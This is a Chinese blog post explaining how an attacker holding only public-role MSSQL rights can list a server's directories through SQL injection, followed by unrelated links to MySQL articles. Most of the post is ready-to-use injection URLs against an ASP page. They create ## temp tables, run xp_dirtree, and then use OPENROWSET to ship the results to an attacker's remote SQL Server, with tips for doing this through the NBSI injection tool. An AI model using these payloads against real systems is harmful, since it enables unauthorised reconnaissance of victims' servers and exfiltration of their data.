Mssql Public权限列目录

简介: 注入点执行aaa.com x.asp?id=123;create table %23%23dhtemq (list int not null identity (1,1), dirtree n...

注入点执行
aaa.com x.asp?id=123;create table %23%23dhtemq (list int not null identity (1,1), dirtree nvarchar(500),num1 nvarchar(500),num2 nvarchar(500))
注入点执行
aaa.com x.asp?id=123;insert into %23%23dhtemq(dirtree,num1,num2) exec master.dbo.xp_dirtree [d:/] ,1,1;--
注入点执行
aaa.com x.asp?id=123;insert into OPENROWSET ('sqloledb','server=xx.xx.xx.xx,1433;Initial Catalog=master;uid=sa;pwd=woshinidie','select dirtree,num1,num2 from dhtemq') select dirtree,num1,num2 from ##dhtemq
xx.xx.xx.xx 执行
select * from dhtemq

 

 

 

提起public权限的用户估计很多人也觉得郁闷了吧~N久以前看了一篇《论在mssql中public和db_owner权限下拿到webshell或是系统权限》的文章(名字真长-_-!!!),里面说到没办法利用xp_regread,xp_dirtree…这些存储过程,原因是public没有办法建表,我在这里矫正一下其实public是可以建表的~呵呵,使这些存储过程能利用上,看下面的代码吧 

  --建立一个临时表,一般的表我们是无办法建立的,我们只能建立临时表 

  #-----为本地临时表 

  ##----为全局临时表 

  create table ##nonamed( 

  dir ntext, 

  num int 

  ) 

  --调用存储过程把执行回来的数据存到临时表里面 

  insert ##nonamed execute master..xp_dirtree 'c:/',1 

  --然后采用openrowset函数把临时表的数据导到本地MSSQL 的dirtree表里面了 

  insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree') 

  select * from ##nonamed 

  以上方法,也就是说public可以遍历用户服务器的目录 

  在NBSI中,只要把临时表名加前加##就可以了,但要注意URL转码,即写成:%23%23nonamed就OK了!

目录
相关文章
|
2月前
|
存储 关系型数据库 MySQL
如何修改MySQL列允许Null?
如何修改MySQL列允许Null?
49 1
如何修改MySQL列允许Null?
|
8月前
|
SQL 存储 关系型数据库
[MySQL]表的创建、修改与删除(二)
[MySQL]表的创建、修改与删除(二)
|
8月前
|
关系型数据库 MySQL 数据库
[MySQL]表的创建、修改与删除(一)
[MySQL]表的创建、修改与删除
|
9月前
|
关系型数据库 MySQL PHP
php读取MySQL获取分区名称及属性信息的查询语句
php读取MySQL获取分区名称及属性信息的查询语句
78 0
|
10月前
|
关系型数据库 MySQL
mysql 表权限更改语句
添加字段: alter table 表名 add 列名 类型 删除表字段 alter table 表名 drop 列名; 修改表字段 alter table 表名 change 列名 新列名 类型 ; 修改列属性类型 alter table 表名 modify 列名 类型; 增加主键 alter table 表名 add primary key(字段); 删除主键 alter table 表名 drop primary key; 增加不为空 alter table 表名 modify 字段 类型 约束; 增加一个唯一约束或联合约束 alter table 表名 add unique(列名
88 0
|
10月前
|
关系型数据库 MySQL 数据库
mysql创建表后修改表中id属性默认为空
mysql创建表后修改表中id属性默认为空
|
存储 Oracle 关系型数据库
MySQL数据库: 添加列、修改列、删除列、修改列属性、修改表名(包括MySQL、SQLServer、Oracle)
MySQL数据库: 添加列、修改列、删除列、修改列属性、修改表名(包括MySQL、SQLServer、Oracle)
399 0
MySQL数据库: 添加列、修改列、删除列、修改列属性、修改表名(包括MySQL、SQLServer、Oracle)
|
存储 关系型数据库 MySQL
10章MySQL:表的创建、删除、修改
10章MySQL:表的创建、删除、修改
10章MySQL:表的创建、删除、修改
|
存储 SQL 关系型数据库
《MySQL入门很轻松》第4章:数据表的创建修改删除
数据实际存储在数据表中,可见在数据库中,数据表是粘据库中最重要、最基本的操作对象,是数据存储的基本单位。本章介绍数据表的创建与操作,包括创建数据表、修改数据表、查看数据表结构与删除数据表等。
《MySQL入门很轻松》第4章:数据表的创建修改删除
|
SQL 关系型数据库 MySQL
MySQL 数据库sql命令查看表属性,mysql查看指定表的各字段最大值、是否为空等属性实例演示
MySQL 数据库sql命令查看表属性,mysql查看指定表的各字段最大值、是否为空等属性实例演示
455 0
MySQL 数据库sql命令查看表属性,mysql查看指定表的各字段最大值、是否为空等属性实例演示